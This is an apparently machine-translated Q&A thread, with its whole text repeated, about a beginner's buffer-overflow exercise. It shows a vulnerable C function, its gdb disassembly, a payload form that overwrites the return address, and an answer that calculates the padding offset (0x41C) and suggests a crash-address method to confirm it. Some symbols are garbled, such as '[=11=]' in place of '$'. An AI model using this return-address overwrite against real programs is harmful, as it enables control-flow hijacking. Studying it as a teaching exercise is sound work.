缓冲区溢出,调用函数
Buffer overflow, call a function
我必须使用缓冲区溢出覆盖函数的 return 地址。
函数本身看起来像这样(我正在传递名称参数):
void vuln(char *name)
{
int n = 20;
char buf[1024];
int f[n];
int i;
for (i=0; i<n; i++) {
f[i] = fib(i);
}
strcpy(buf, name);
...
}
我正在使用 gdb 反汇编它,得到以下结果
0x080485ae <+0>: push %ebp
0x080485af <+1>: mov %esp,%ebp
0x080485b1 <+3>: push %ebx
0x080485b2 <+4>: sub [=11=]x414,%esp
0x080485b8 <+10>: mov %esp,%eax
0x080485ba <+12>: mov %eax,%ebx
0x080485bc <+14>: movl [=11=]x14,-0x10(%ebp)
0x080485c3 <+21>: mov -0x10(%ebp),%eax
0x080485c6 <+24>: lea -0x1(%eax),%edx
0x080485c9 <+27>: mov %edx,-0x14(%ebp)
0x080485cc <+30>: shl [=11=]x2,%eax
0x080485cf <+33>: lea 0x3(%eax),%edx
0x080485d2 <+36>: mov [=11=]x10,%eax
0x080485d7 <+41>: sub [=11=]x1,%eax
0x080485da <+44>: add %edx,%eax
0x080485dc <+46>: mov [=11=]x10,%ecx
0x080485e1 <+51>: mov [=11=]x0,%edx
0x080485e6 <+56>: div %ecx
0x080485e8 <+58>: imul [=11=]x10,%eax,%eax
0x080485eb <+61>: sub %eax,%esp
0x080485ed <+63>: mov %esp,%eax
0x080485ef <+65>: add [=11=]x3,%eax
0x080485f2 <+68>: shr [=11=]x2,%eax
0x080485f5 <+71>: shl [=11=]x2,%eax
0x080485f8 <+74>: mov %eax,-0x18(%ebp)
0x080485fb <+77>: movl [=11=]x0,-0xc(%ebp)
0x08048602 <+84>: jmp 0x8048621 <vuln+115>
0x08048604 <+86>: sub [=11=]xc,%esp
0x08048607 <+89>: pushl -0xc(%ebp)
0x0804860a <+92>: call 0x8048560 <fib>
0x0804860f <+97>: add [=11=]x10,%esp
0x08048612 <+100>: mov %eax,%ecx
0x08048614 <+102>: mov -0x18(%ebp),%eax
0x08048617 <+105>: mov -0xc(%ebp),%edx
0x0804861a <+108>: mov %ecx,(%eax,%edx,4)
0x0804861d <+111>: addl [=11=]x1,-0xc(%ebp)
0x08048621 <+115>: mov -0xc(%ebp),%eax
0x08048624 <+118>: cmp -0x10(%ebp),%eax
0x08048627 <+121>: jl 0x8048604 <vuln+86>
0x08048629 <+123>: sub [=11=]x8,%esp
0x0804862c <+126>: pushl 0x8(%ebp)
0x0804862f <+129>: lea -0x418(%ebp),%eax
0x08048635 <+135>: push %eax
0x08048636 <+136>: call 0x80483c0 <strcpy@plt>
0x0804863b <+141>: add [=11=]x10,%esp
0x0804863e <+144>: sub [=11=]x8,%esp
0x08048641 <+147>: lea -0x418(%ebp),%eax
0x08048647 <+153>: push %eax
0x08048648 <+154>: push [=11=]x80487b7
0x0804864d <+159>: call 0x80483a0 <printf@plt>
0x08048652 <+164>: add [=11=]x10,%esp
0x08048655 <+167>: movl [=11=]x0,-0xc(%ebp)
0x0804865c <+174>: jmp 0x804867f <vuln+209>
0x0804865e <+176>: mov -0x18(%ebp),%eax
0x08048661 <+179>: mov -0xc(%ebp),%edx
=> 0x08048664 <+182>: mov (%eax,%edx,4),%eax
0x08048667 <+185>: sub [=11=]x4,%esp
0x0804866a <+188>: push %eax
0x0804866b <+189>: pushl -0xc(%ebp)
0x0804866e <+192>: push [=11=]x80487c4
0x08048673 <+197>: call 0x80483a0 <printf@plt>
0x08048678 <+202>: add [=11=]x10,%esp
0x0804867b <+205>: addl [=11=]x1,-0xc(%ebp)
0x0804867f <+209>: cmpl [=11=]x13,-0xc(%ebp)
0x08048683 <+213>: jle 0x804865e <vuln+176>
0x08048685 <+215>: mov %ebx,%esp
0x08048687 <+217>: nop
0x08048688 <+218>: mov -0x4(%ebp),%ebx
0x0804868b <+221>: leave
0x0804868c <+222>: ret
vuln()的return调用的函数地址为0x804850b。
在到达要覆盖的 return 地址之前,我怎么知道填充物的数量?
我想名称参数应该采用 "a"*n + "\x0b\x85\x04\x08" 的形式,其中 n 是我想猜测的某个数字。我想这应该是基本的东西,但我仍然是初学者所以请不要评判我...
How am I supposed to know ...
您的密码是:
0x080485ae <+0>: push %ebp
0x080485af <+1>: mov %esp,%ebp
...
0x0804862f <+129>: lea -0x418(%ebp),%eax
0x08048635 <+135>: push %eax
0x08048636 <+136>: call 0x80483c0 <strcpy@plt>
在您进入函数之前,return 地址位于偏移量 0(%esp)
。
在第一个 push
之后,它位于 4(%esp)
。由于 %esp
接下来被复制到 %ebp
,它也在 4(%ebp)
.
接下来您会看到您开始复制的位置是 -0x418(%ebp)
。
结论:&buf[0]
和&return_address
之间的差值是0x418 + 4 == 0x41C
。
备选解决方案:使用无效地址填充 name
输入:0x01010101
、0x01010102
、... 0x010102FF
。执行代码并观察它崩溃的地址。
如果我的计算是正确的,当 vuln
尝试 return 到 "slot" 0x41C / 4 == 0x107
时它会崩溃,其中应该包含 0x01010208
.
我必须使用缓冲区溢出覆盖函数的 return 地址。
函数本身看起来像这样(我正在传递名称参数):
void vuln(char *name)
{
int n = 20;
char buf[1024];
int f[n];
int i;
for (i=0; i<n; i++) {
f[i] = fib(i);
}
strcpy(buf, name);
...
}
我正在使用 gdb 反汇编它,得到以下结果
0x080485ae <+0>: push %ebp
0x080485af <+1>: mov %esp,%ebp
0x080485b1 <+3>: push %ebx
0x080485b2 <+4>: sub [=11=]x414,%esp
0x080485b8 <+10>: mov %esp,%eax
0x080485ba <+12>: mov %eax,%ebx
0x080485bc <+14>: movl [=11=]x14,-0x10(%ebp)
0x080485c3 <+21>: mov -0x10(%ebp),%eax
0x080485c6 <+24>: lea -0x1(%eax),%edx
0x080485c9 <+27>: mov %edx,-0x14(%ebp)
0x080485cc <+30>: shl [=11=]x2,%eax
0x080485cf <+33>: lea 0x3(%eax),%edx
0x080485d2 <+36>: mov [=11=]x10,%eax
0x080485d7 <+41>: sub [=11=]x1,%eax
0x080485da <+44>: add %edx,%eax
0x080485dc <+46>: mov [=11=]x10,%ecx
0x080485e1 <+51>: mov [=11=]x0,%edx
0x080485e6 <+56>: div %ecx
0x080485e8 <+58>: imul [=11=]x10,%eax,%eax
0x080485eb <+61>: sub %eax,%esp
0x080485ed <+63>: mov %esp,%eax
0x080485ef <+65>: add [=11=]x3,%eax
0x080485f2 <+68>: shr [=11=]x2,%eax
0x080485f5 <+71>: shl [=11=]x2,%eax
0x080485f8 <+74>: mov %eax,-0x18(%ebp)
0x080485fb <+77>: movl [=11=]x0,-0xc(%ebp)
0x08048602 <+84>: jmp 0x8048621 <vuln+115>
0x08048604 <+86>: sub [=11=]xc,%esp
0x08048607 <+89>: pushl -0xc(%ebp)
0x0804860a <+92>: call 0x8048560 <fib>
0x0804860f <+97>: add [=11=]x10,%esp
0x08048612 <+100>: mov %eax,%ecx
0x08048614 <+102>: mov -0x18(%ebp),%eax
0x08048617 <+105>: mov -0xc(%ebp),%edx
0x0804861a <+108>: mov %ecx,(%eax,%edx,4)
0x0804861d <+111>: addl [=11=]x1,-0xc(%ebp)
0x08048621 <+115>: mov -0xc(%ebp),%eax
0x08048624 <+118>: cmp -0x10(%ebp),%eax
0x08048627 <+121>: jl 0x8048604 <vuln+86>
0x08048629 <+123>: sub [=11=]x8,%esp
0x0804862c <+126>: pushl 0x8(%ebp)
0x0804862f <+129>: lea -0x418(%ebp),%eax
0x08048635 <+135>: push %eax
0x08048636 <+136>: call 0x80483c0 <strcpy@plt>
0x0804863b <+141>: add [=11=]x10,%esp
0x0804863e <+144>: sub [=11=]x8,%esp
0x08048641 <+147>: lea -0x418(%ebp),%eax
0x08048647 <+153>: push %eax
0x08048648 <+154>: push [=11=]x80487b7
0x0804864d <+159>: call 0x80483a0 <printf@plt>
0x08048652 <+164>: add [=11=]x10,%esp
0x08048655 <+167>: movl [=11=]x0,-0xc(%ebp)
0x0804865c <+174>: jmp 0x804867f <vuln+209>
0x0804865e <+176>: mov -0x18(%ebp),%eax
0x08048661 <+179>: mov -0xc(%ebp),%edx
=> 0x08048664 <+182>: mov (%eax,%edx,4),%eax
0x08048667 <+185>: sub [=11=]x4,%esp
0x0804866a <+188>: push %eax
0x0804866b <+189>: pushl -0xc(%ebp)
0x0804866e <+192>: push [=11=]x80487c4
0x08048673 <+197>: call 0x80483a0 <printf@plt>
0x08048678 <+202>: add [=11=]x10,%esp
0x0804867b <+205>: addl [=11=]x1,-0xc(%ebp)
0x0804867f <+209>: cmpl [=11=]x13,-0xc(%ebp)
0x08048683 <+213>: jle 0x804865e <vuln+176>
0x08048685 <+215>: mov %ebx,%esp
0x08048687 <+217>: nop
0x08048688 <+218>: mov -0x4(%ebp),%ebx
0x0804868b <+221>: leave
0x0804868c <+222>: ret
vuln()的return调用的函数地址为0x804850b。 在到达要覆盖的 return 地址之前,我怎么知道填充物的数量? 我想名称参数应该采用 "a"*n + "\x0b\x85\x04\x08" 的形式,其中 n 是我想猜测的某个数字。我想这应该是基本的东西,但我仍然是初学者所以请不要评判我...
How am I supposed to know ...
您的密码是:
0x080485ae <+0>: push %ebp
0x080485af <+1>: mov %esp,%ebp
...
0x0804862f <+129>: lea -0x418(%ebp),%eax
0x08048635 <+135>: push %eax
0x08048636 <+136>: call 0x80483c0 <strcpy@plt>
在您进入函数之前,return 地址位于偏移量 0(%esp)
。
在第一个 push
之后,它位于 4(%esp)
。由于 %esp
接下来被复制到 %ebp
,它也在 4(%ebp)
.
接下来您会看到您开始复制的位置是 -0x418(%ebp)
。
结论:&buf[0]
和&return_address
之间的差值是0x418 + 4 == 0x41C
。
备选解决方案:使用无效地址填充 name
输入:0x01010101
、0x01010102
、... 0x010102FF
。执行代码并观察它崩溃的地址。
如果我的计算是正确的,当 vuln
尝试 return 到 "slot" 0x41C / 4 == 0x107
时它会崩溃,其中应该包含 0x01010208
.